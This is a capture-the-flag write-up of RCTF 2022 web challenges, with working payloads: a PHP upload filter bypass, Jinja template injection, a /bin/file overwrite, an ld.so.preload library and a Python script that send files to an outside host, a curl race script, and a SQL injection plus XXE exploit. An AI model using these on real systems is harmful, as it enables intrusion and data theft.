RCTF 2022 is a Jeopardy-style Online Capture The Flag Competition presented by ROIS(Researcher Of In-formation Security). The Champion Team of RCTF 2022 will be invited to The Finals of the 8th Edition of XCTF.
It is hosted by XCTF, which is kind of a Chinese CTF league.
This edition had some nice file upload hacking challenges and I think it deserves some discussion.
Challenges
Most of the challenges I’ve played were about file uploads. I also solved ezbypass
, but probably SECONDS after the submission ended. I’ll miss those points for the rest of my life.
I worked on a series called filechecker
and easy_upload
. Didn’t have the time to work on the others.
Easy Upload
This challenge have a very simple upload form, which returns upload success
for the happy path.
You can access the uploaded files in the /upload
directory:
After looking at the code, you have some filters:
- Blacklist file extensions:
php
,ini
,phtml
,htaccess
- Blacklist file content:
<?
,php
,handler
If your file falls in one of those filters, it returns you an error message and your file is not saved to /upload
.
Analysis
The obvious choice here in terms of PHP Upload Hacking would be uploading a .php
file and running it inside the /upload
dir.
It does not work because of the filters (both file extension and file content).
Exploiting
Bypassing file extension
Filter (Summarized)
$this->ext_blacklist = [
"php",
"ini",
"phtml",
"htaccess",
];
// ...
foreach ($this->ext_blacklist as $v){
if (strstr($ext, $v) !== false){
return $this->invalid("fucking $ext extension.");
}
}
$dir = dirname($request->server->get('SCRIPT_FILENAME'));
$result = move_uploaded_file($file["tmp_name"], "$dir/upload/".strtolower($file["name"]));
It blocks file extensions, but it does not check for case and it lowercases the filename at the end…
Just sending payload.PHP
bypass this filter and generates a payload.php
file on the server, but we still can’t use PHP tags due to the content filter…
Bypassing content filter
Filter (Summarized)
mb_detect_order(["BASE64","ASCII","UTF-8"]);
//..
$this->content_blacklist = ["<?", "php", "handler"];
// ..
$content = file_get_contents($file["tmp_name"]);
$charset = mb_detect_encoding($content, null, true);
// ..
if(false !== $charset){
if($charset == "BASE64"){
$content = base64_decode($content);
}
foreach ($this->content_blacklist as $v) {
if(stristr($content, $v)!==false){
return $this->invalid("fucking $v .");
}
}
}else{
return $this->invalid("fucking invalid format.");
}
It tries to detect base64. If it is detected, check only the decoded payload (and ignore the original). If we can fool the app to think it’s base64, but still inject our script, we can completely avoid the filter.
Fortunately for us, it uses mb_detect_encoding
to “detect” the base64. This function inner workings is terribly documented and gave me some hard time looking through PHP ext source code.
It turns out, this function works based on char frequency, checking the the charset for each byte, which makes it kind of innacurate, if the detection is not strict (default == false).
Solved it simply fuzzying a little bit with different charsets.
My first trials with the payload always detected ASCII. I was successful by including a few ISO-8859-1
chars (same described in the examples section of the PHP docs) and a lot of regular base64 chars (letter b
).
lotsofb = "b"*1000
payload = f"a={lotsofb}xxx\n<?php echo file_get_contents('/flag'); ?>\nxxxxE1{lotsofb}\xE9{lotsofb}\xF3{lotsofb}\xFA"
# Uppercase extension, will be lowercased
with open('nep1252_payload.PHP', 'w') as p:
p.write(payload)
With this payload, I just uploaded the nep1252_payload.PHP
to the server and executed the saved file /upload/nep1252_payload.php
.
RCTF{ar3_u_s1ng1e_d0g?}
Curious to see other people payloads. I believe it probably works with a much simpler/smaller one.
Filechecker Mini
Just an easy file check challenge~~~
The challenging environment restarts every three minutes
It starts with another upload file screen.
This is basically a /bin/file
as a service.
After uploading a file, it tells you the filetype.
Analysis
We get a small Python/Flask source-code:
from flask import Flask, request, render_template, render_template_string
from waitress import serve
import os
import subprocess
app_dir = os.path.split(os.path.realpath(__file__))[0]
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'
@app.route('/', methods=['GET','POST'])
def index():
try:
if request.method == 'GET':
return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")
elif request.method == 'POST':
f = request.files['file-upload']
filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)
if os.path.exists(filepath) and ".." in filepath:
return render_template('index.html', result="Don't (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)")
else:
f.save(filepath)
file_check_res = subprocess.check_output(
["/bin/file", "-b", filepath],
shell=False,
encoding='utf-8',
timeout=1
)
os.remove(filepath)
if "empty" in file_check_res or "cannot open" in file_check_res:
file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ"
return render_template_string(file_check_res)
except:
return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')
if __name__ == '__main__':
serve(app, host="0.0.0.0", port=3000, threads=1000, cleanup_interval=30)
After upload, it calls /bin/file -b <uploaded_file>
, returns the result, and then removes the file.
Note the returning line:
file_check_res = subprocess.check_output(
["/bin/file", "-b", filepath],
shell=False,
encoding='utf-8',
timeout=1
)
# ... some lines after...
return render_template_string(file_check_res)
It renders the output of the process call as a Jinja template. If we can inject a template string, we got RCE.
Exploiting
If you call /bin/file
in a file with a Linux magic (first line), it will show that in the output:
$ head -1 payload.sh
#!/bin/neptunian
$ /bin/file -b payload.sh
a /bin/neptunian script, ASCII text executable
Se we have an easy, unfiltered, SSTI:
#!/usr/bin/{{request.__class__._load_form_data.__globals__.__builtins__.open("/flag").read() }}
After uploading:
RCTF{Just_A_5mall_Tr1ck_mini1i1i1__Fl4g_Y0u_gOtt777!!!}
Filechecker Plus
This is another version of the same challenge, with two small changes:
- It does not render the Jinja for the process output. Just the plain string (taking the fun away from the first solve).
- It runs as root!
Analysis
Since it runs as root, we can overwrite any reachable files.
Take a look in the lines below:
f = request.files['file-upload']
filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)
The os.path.join
function has the weirdest behaviour of ignoring the first parameter if the second is an absolute parameter. It’s almost a native backdoor.
Because of this, we can escape the /app/upload/
directory, by sending an absolute file name, and overwrite /bin/file
!
Exploiting
We can just upload a shell script, changing the file name to overwrite, to RCE through the just-poisoned /bin/file
. But I don’t want other players to see the flag, so I send the file to my ngrok.
Since we don’t have curl/wget and other simple hacks didn’t work for me, I’ve sent a Python script.
#!/usr/bin/python3
import socket
import os
HOST = "<MY NGROK IP ADDRESS>"
PORT = 11887
with open('/flag', 'r') as flagfile:
flag = flagfile.read()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.sendall(bytes(flag, 'UTF-8'))
# Fake output (to try avoiding the hint for other players)
print("ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=32715f59ea258e8fdf0dd8763fc501f958b0c4d6, for GNU/Linux 3.2.0, stripped")
And we just wait for the flag:
RCTF{III_W4nt_Gir1Friendssssss_Thi5_Christm4ssss~~~~}
(We’re detecting some pattern here)
Filechecker Pro Max
That is another upgrade on the Filechecker, blocking previous hacks again.
Now it checks if the file exists, so it does not overwrite files like /bin/file
. Let’s try another approach.
Analysis
While strace’ing to check for interesting steps in the /bin/file
execution, this call screams for attention:
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
I knew the LD_PRELOAD
env var hack, but didn’t know the /etc/ld.so.preload
file.
With this file, you can set a specific ld_library_path
for library calls, without having to change LD_PRELOAD
.
Since the file does not exist, uploading will create a new one. And if we can inject our poisoned library anywhere in the filesystem, /etc/ld.so.preload
can point there and we have our RCE to the flag.
Exploiting
I built the hacktricks preload lib, with a socket to send me the flag (again, to avoid giving the flag to other players):
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define PORT 11227
#define MAX 256
#define SA struct sockaddr
// https://www.geeksforgeeks.org/tcp-server-client-implementation-in-c/
void func(int sockfd)
{
FILE* ptr;
char str[MAX];
ptr = fopen("/flag", "r");
if (NULL == ptr) {
return;
}
if (fgets(str, MAX, ptr) != NULL) {
write(sockfd, str, sizeof(str));
}
return;
}
void exploit() {
int sockfd, connfd;
struct sockaddr_in servaddr, cli;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
exit(0);
}
else
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr("<NGROK IP>");
servaddr.sin_port = htons(PORT);
if (connect(sockfd, (SA*)&servaddr, sizeof(servaddr)) != 0) {
exit(0);
}
else
printf("Python script, UTF-8 Unicode text executable\n");
func(sockfd);
close(sockfd);
}
void _init() {
unsetenv("LD_PRELOAD");
exploit();
}
compiled the lib:
gcc -fPIC -shared -o nepreload.so mypreload.c -nostartfiles
The ld.so.preload
precisa apontar para o local no server onde vamos fazer o upload da lib.
BUT, the app deletes the uploaded file right after running the /bin/file
. Because of this, we need a race condition to get both /etc/ld.so.preload
and /tmp/nepreload.so
at the same time in the server.
For that, I did a simple bash script, and by simple I mean ugly, to run some curls in parallel to upload the beast.
#!/bin/sh
TARGET=http://140.210.199.170:33003/
# TARGET=http://localhost:3000/
i=0
while [ $i -ne 100 ]
do
i=$(($i+1))
echo "$i"
curl -F '[email protected];filename=/etc/ld.so.preload' $TARGET &
curl -F '[email protected];filename=/tmp/nepreload.so' $TARGET &
done
And then we just sit and wait for the prize.
RCTF{I_Giveeeeeee_Y0oOu_Fl4gsssss_You_G1ve_M3_GirlFriendsssssssssss}
EzBypass
This was a very weird challenge and not upload-related, but you have to bypass some fun filters and I think it deserves an honorable mention.
Request URI filter
You have to reach /index
, but there’s a filter:
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (isWhite(request) || auth()) {
chain.doFilter(request, response);
} else {
response.getWriter().write("auth fail");
}
}
public boolean isWhite(ServletRequest req) {
HttpServletRequest request = (HttpServletRequest)req;
if (request.getRequestURI().endsWith(".ico"))
return true;
return false;
}
public boolean auth() {
return false;
}
To bypass the endsWith(".ico")
filter, you can just call the URL like this:
/index;something=abc.ico
Some Servlet implementations break the semicolon as a kind of parameter for the URL. This (very old) article explains that in more details.
We got into /index
.
SQL injection without single quotes
@RequestMapping({"/index"})
public String sayHello(String password, String poc, String type, String yourclasses, HttpServletResponse response) throws Exception {
if (password.length() > 50 || password.indexOf("'") != -1) {
System.out.println("not allow");
return "not allow";
}
String username = this.userService.selectUsernameByPassword(password);
if (username != "") {
String[] classes = yourclasses.split(",", 4);
return xxe(poc, type, classes);
}
return "index";
}
Now we need to reach the xxe
function, but the selectUsernameByPassword
have to return non-empty data. We pass it the password parameter, but it cannot have single quotes ('
) and cannot have more than 50 chars.
import java.util.Map;
import org.apache.ibatis.jdbc.SQL;
public class UserProvider {
public String selectByPassword(Map<String, Object> params) {
return ((SQL)((SQL)((SQL)((SQL)(new SQL())
.SELECT("*"))
.FROM("users"))
.WHERE("password = '" + params.get("password") + "'"))
.LIMIT(1))
.toString();
}
}
MyBatis (formerly iBatis) is an ORM for Java and we have this construct for dynamic queries.
We have an obvious SQL injection here, but we cant directly use single quotes. But wait, myBatis allows Java Expression Language.
And we can instantiate a class to generate our single quote: ${new Character(39)}
.
Now we can get our SQL injection in 46 characters.
${new Character(39)}or 1<>${new Character(39)}
We got into the xxe
function.
Weird Java Reflection bypass
public static String xxe(String b64poc, String type, String[] classes) throws Exception {
String res = "";
byte[] bytepoc = Base64.getDecoder().decode(b64poc);
if (check(bytepoc)) {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
InputSource inputSource = null;
Object wrappoc = null;
Constructor<?> constructor = Class.forName(classes[0]).getDeclaredConstructor(new Class[] { Class.forName(classes[1]) });
if (type.equals("string")) {
String stringpoc = new String(bytepoc);
wrappoc = constructor.newInstance(new Object[] { stringpoc });
} else {
wrappoc = constructor.newInstance(new Object[] { bytepoc });
}
inputSource = Class.forName(classes[2]).getDeclaredConstructor(new Class[] { Class.forName(classes[3]) }).newInstance(new Object[] { wrappoc });
Document doc = builder.parse(inputSource);
NodeList nodes = doc.getChildNodes();
for (int i = 0; i < nodes.getLength(); i++) {
if (nodes.item(i).getNodeType() == 1) {
res = res + nodes.item(i).getTextContent();
System.out.println(nodes.item(i).getTextContent());
}
}
}
return res;
}
That was the weirdest part of it. You have to compose some class names to be used in a Java Reflection loading sequence, in a way your origin data, of type bytes[]
is turned into org.xml.sax.InputSource
.
The correct payload would turn into “something” like this:
// input is the bytes[] data
output =
new org.xml.sax.InputSource(
new java.io.InputStream(
new java.io.StringBufferInputStream(
new java.lang.String(input)
)
)
);
(I didn´t test it - it’s just for pedagogical purposes)
Working payload for classlist:
java.io.StringBufferInputStream,java.lang.String,org.xml.sax.InputSource,java.io.InputStream
XXE without “!DOCTYPE”
At last, there is a check
function, that blocks !DOCTYPE
, filtering our XXE and other byte combination that I don’t care.
public static boolean check(byte[] poc) throws Exception {
String str = new String(poc);
String[] blacklist = { "!DOCTYPE", new String(new byte[] { -2, -1 }), new String(new byte[] { -1, -2 }) };
for (String black : blacklist) {
if (str.indexOf(black) != -1) {
System.out.println("not allow");
return false;
}
}
return true;
}
We need to set the DOCTYPE here, so this filter is not our friend. Luckily, there is a Hacktrick for it. We can encode the XML with a specific charset, like UTF-7
.
In fact, UTF-7
did not work, but I was able to work it around with utf-16be
, with some help of Python.
HEADER = b"""<?xml version="1.0" encoding="UTF-16BE"?>"""
FINAL = HEADER + XXE_PAYLOAD.decode('utf-8').encode('utf-16be')
Final Payload
After all of this journey, we can send our very simple XXE payload to the flag:
<!DOCTYPE ff [
<!ENTITY ff SYSTEM "/flag">
]>
<item>value = &ff;</item>
We now have our final exploit
import requests
import base64
XXE_PAYLOAD = b"""<!DOCTYPE ff [<!ENTITY ff SYSTEM "/flag"> ]><item>value = &ff;</item>"""
HEADER = b"""<?xml version="1.0" encoding="UTF-16BE"?>"""
FINAL = HEADER + XXE_PAYLOAD.decode('utf-8').encode('utf-16be')
print(FINAL)
params = {
'password': '${new Character(39)}or 1<>${new Character(39)}',
'poc': base64.b64encode(FINAL),
'type': 'string',
'yourclasses': 'java.io.StringBufferInputStream,java.lang.String,org.xml.sax.InputSource,java.io.InputStream',
}
response = requests.get('http://94.74.86.95:8899/index;something=abc.ico', params=params)
print(response.status_code)
print(response.text)
$ python exploit.py
b'<?xml version="1.0" encoding="UTF-16BE"?>\x00<\x00!\x00D\x00O\x00C\x00T\x00Y\x00P\x00E\x00 \x00f\x00f\x00 \x00[\x00<\x00!\x00E\x00N\x00T\x00I\x00T\x00Y\x00 \x00f\x00f\x00 \x00S\x00Y\x00S\x00T\x00E\x00M\x00 \x00"\x00/\x00f\x00l\x00a\x00g\x00"\x00>\x00 \x00]\x00>\x00<\x00i\x00t\x00e\x00m\x00>\x00v\x00a\x00l\x00u\x00e\x00 \x00=\x00 \x00&\x00f\x00f\x00;\x00<\x00/\x00i\x00t\x00e\x00m\x00>'
200
value = RCTF{eeezzzzz222bypassss5555ovo}
Flag
RCTF{eeezzzzz222bypassss5555ovo}
Preventing
To avoid being hacked by this kind of attacks:
- Sanitize your input
- Never trust file names from uploads
- Generate file names for saving uploads whenever possible
- Using buckets instead of file system may help
- Guarantee the files are saved in the correct directory, but normalizing file paths.
- Do not use
os.path.join
:D
I’m sure I’m forgetting other important protections here. Send me hints for better security on Twitter.
Last words
- Technical aspects of the challenges were very nice
- Most challenge steps were kind of unrealistic. The feeling of “real life” scenarios is always nicer. It didn’t take the fun away, but we got some weird stuff.
- Please, introduce some friends to those hackers and pray. They really need girlfriends.